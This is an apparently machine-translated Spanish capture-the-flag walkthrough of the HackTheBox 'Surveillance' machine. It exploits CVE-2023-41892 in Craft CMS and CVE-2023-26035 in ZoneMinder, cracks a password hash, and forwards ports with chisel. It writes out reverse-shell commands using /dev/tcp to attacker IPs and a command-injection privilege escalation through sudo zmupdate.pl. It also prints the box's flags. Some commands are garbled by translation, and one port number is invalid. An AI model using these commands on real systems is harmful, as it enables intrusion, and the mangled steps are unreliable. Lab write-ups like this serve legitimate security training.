Cubrimos el tutorial de HackTheBox Surveillance donde demostramos la explotación de la reciente vulnerabilidad CVE-2023-41892 que afectó a Craft CMS además de la explotación de CVE-2023-26035 eso afectó a ZoneMinder, que es un conjunto integrado de aplicaciones que brindan una solución de vigilancia completa que permite capturar, analizar, grabar y monitorear cualquier CCTV o cámara de seguridad conectada a una máquina basada en Linux.
Antes de comenzar, agregue la IP del host al archivo de hosts con el nombre de la máquina
echo '10.10.11.245 vigilancia.htb' | sudo tee -a /etc/hosts
Notas de estudio de seguridad cibernética
Escaneo y enumeración
Los resultados del escaneo de Nmap están a continuación
Dominio: nmap -Pn -p- —
# Nmap 7.94SVN scan initiated Wed Jan 24 16:36:46 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.245
Nmap scan report for 10.10.11.245
Host is up (0.012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/24%OT=22%CT=1%CU=42608%PV=Y%DS=2%DC=T%G=Y%TM=65B1
OS:830B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 11.81 ms 10.10.14.1
2 11.87 ms 10.10.11.245
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 24 16:37:15 2024 -- 1 IP address (1 host up) scanned in 29.07 seconds
En el puerto 80 tenemos un servidor nginx.
80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: No siguió la redirección a http://surveillance.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu)
Navegar a la página principal del servidor web muestra que es un potencialmente un servidor Craft CMS
Además, la página de administración se puede encontrar ejecutando una enumeración de directorios usando Gobuster usando el siguiente comando
directorio gobuster -u http://surveillance.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt,html -r -o gobuster-80.txt -t 100
Y la página de administración se puede encontrar en: /admin/iniciar sesión
Explotación de vulnerabilidades de Craft CMS
¿Qué es Craft CMS?
CMS artesanal es un Sistema de Gestión de Contenidos fácil y claro. Ofrece todos los mecanismos necesarios para realizar las tareas diarias necesarias para un sitio web funcional. Sin duda, la integración de contenido será sencilla.
La versión de Craft CMS es vulnerable a CVE-2023-41892 con esto POS disponible públicamente.
Entendiendo la hazaña
- El
getTmpUploadDirAndDocumentRoot()
le permite ejecutarphpinfo
que lee la raíz web principal además del directorio de carga. - El
escribirPayloadToTempFile(documentRoot)
la función produceHTTP 502
Error HTTP que indica explotación exitosa. Podemos escribir código PHP arbitrario en la raíz del sitio como si fuera una imagen usando la extensión vulnerable Imagick. - El
trigerImagick(tmpDir)
La función realiza una llamada a la extensión Imagick para leer nuestro archivo PHP. Luego, la extensión Imagick lee nuestro archivo y ejecuta el código PHP.
Algunas personas informaron problemas al ejecutar el exploit, por lo que si esto le sucedió a usted, puede seguir el método Metasploit que se describe a continuación.
Explotación de vulnerabilidades de Craft CMS con Metasploit
sudomsfconsole
Entonces escoge explotar/linux/http/craftcms_unauth_rce_cve_2023_41892
msf6 > usar 1 msf6 > configurar rhosts vigilancia.htb msf6 > configurar rport 80 msf6 > configurar ssl false msf6 > configurar lhost tun0 msf6 > configurar lport 443 msf6 > ejecutar
Y debería hacerse y podrá pasar a la fase posterior a la explotación y la escalada de privilegios.
Después de la explotación y la escalada de privilegios
Correr quién soy y uname -a muestra el siguiente resultado en cuanto al sistema operativo y al usuario que se ejecuta en la máquina
PRETTY_NAME="Ubuntu 22.04.3 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.3 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu .com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms -and-policies/privacy-policy" UBUNTU_CODENAME=jammy Linux vigilancia 5.15.0-89-generic #99-Ubuntu SMP lunes 30 de octubre 20:42:41 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-datos) gid=33(www-datos) grupos=33(www-datos)
Después de una enumeración del sistema operativo, notamos una copia de seguridad de SQL en la siguiente ruta
/var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip
Esta base de datos contenía un hash SHA256 sin sal para el usuario Mateo
.
Puede verificar esto ejecutando el siguiente comando
cat /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip | grep -yo mate
Descifrando contraseñas con JohnTheRipper
Ejecute los siguientes comandos para agregar el hash a un archivo y descifrarlo usando John con la lista de palabras rockyou.txt.
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > hash john --format=Raw-SHA256 --wordlist=rockyou.txt hash
Verás que la contraseña es starcraftt122490 luego lo usamos para iniciar sesión como Matthew.
ssh matthew@surveillance.htb
Pivote de red y movimiento lateral
Al ejecutar netstat para determinar las conexiones de red internas, descubrimos que The cuidador de zona
el servicio está escuchando 127.0.0.1:8080
Esto lo que nos obligará a utilizar el reenvío de puertos para poder interactuar con este servicio.
Nosotros podemos usar cincel
que puedes descargar y ejecutar usando los siguientes comandos
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -O chisel.gz gunzip ./chisel.gz chmod u+x ./chisel.gz sudo python3 - m http.servidor 80
Alojamos chisel en la máquina atacante para poder descargarlo en la máquina htb.
wget http://kali-vpn-ip/chisel -O /tmp/chisel chmod u+x /tmp/chisel
Entonces podemos correr cincel
con el siguiente comando en la máquina atacante:
servidor sudo ./chisel --reverse --port 8081 &
Y en la máquina HTB
/tmp/chisel cliente 10.10.14.10:8081 R:99090:127.0.0.1:8080 R:3306:127.0.0.1:3006 &
Si todo se hace bien, debería poder navegar hasta 127.0.0.1:99090 para acceder al servicio ZoneMinder cuya versión parece ser 1.36.32.
Explotación de ZoneMinder
¿Qué es ZoneMinder?
ZoneMinder es un conjunto integrado de aplicaciones que proporciona una solución de vigilancia completa que permite capturar, analizar, grabar y monitorear cualquier CCTV o cámara de seguridad conectada a una máquina basada en Linux. Está diseñado para ejecutarse en distribuciones que admiten la interfaz Video For Linux (V4L) y ha sido probado con cámaras de video conectadas a tarjetas BTTV, varias cámaras USB y también es compatible con la mayoría de las cámaras de red IP.
Un poco de investigación y buscar en Google muestra que es una versión vulnerable. CVE-2023-26035
Para que el exploit funcione, simplemente cambie la línea 16 de index.php
a /index.php
.
./zm-pwn.py --target http://127.0.0.1:99090 --cmd "bash -c 'bash -i >& /dev/tcp/ /4444 0>&1'"
Por supuesto, no olvide ejecutar un oyente en su máquina usando netcat.
nc-lvp 4444
Hacer esto te dará la cáscara como cuidador de zona usuario.
Tenga en cuenta que el usuario de Zoneminder puede ejecutar cualquier script zm[a-zA-Z]*.pl en /usr/bin/ sin contraseña.
A menudo se encuentran scripts PHP que abusan de las API exec(), shell_exec() o system() para ejecutar comandos en el host.
Al buscar scripts Perl para lograr esto, encontramos el comando exec().
El único problema es que, salvo un script, ninguno de ellos emplea este comando y no es vulnerable.
Estos scripts de Perl parecen hacer referencia con frecuencia al comando ejecutar() y, por lo que he buscado, se utiliza para ejecutar sentencias SQL preparadas. Por lo tanto, será necesario encontrar una llamada de ejecución () que acepte un parámetro de usuario y no limite al usuario a tipos de datos o entradas particulares.
El script perl zmupdate.pl que es susceptible. Donde el script tomará la entrada de nuestro nombre de usuario y lo ejecutará es en la línea 1056. El script codificará las entradas, por lo tanto, intentar explotar una contraseña no funcionará.
Si ejecutamos el siguiente comando, podemos ver el '/bin/bash -ip' inyectado en la declaración SQL preparada
sudo /usr/bin/zmupdate.pl -u '/bin/bash -ip' -p '' -v 1
Entonces esto significa que si nosotros ejecute el comando en un subshell, se evaluará antes que el resto de la declaración SQL preparada.
sudo /usr/bin/zmupdate.pl -u '$(bash -c "bash -ip >& /dev/tcp/10.10.14.10/443 0>&1")' -p '' -v 1
Banderas de usuario y raíz de vigilancia de HackTheBox
Bandera de usuario
1f4b734f81280d55388c9ff39cd13152
Bandera raíz
3457f277222b96dc0f126f9d92defe37
Lista de reproducción del tutorial de HackTheBox CTF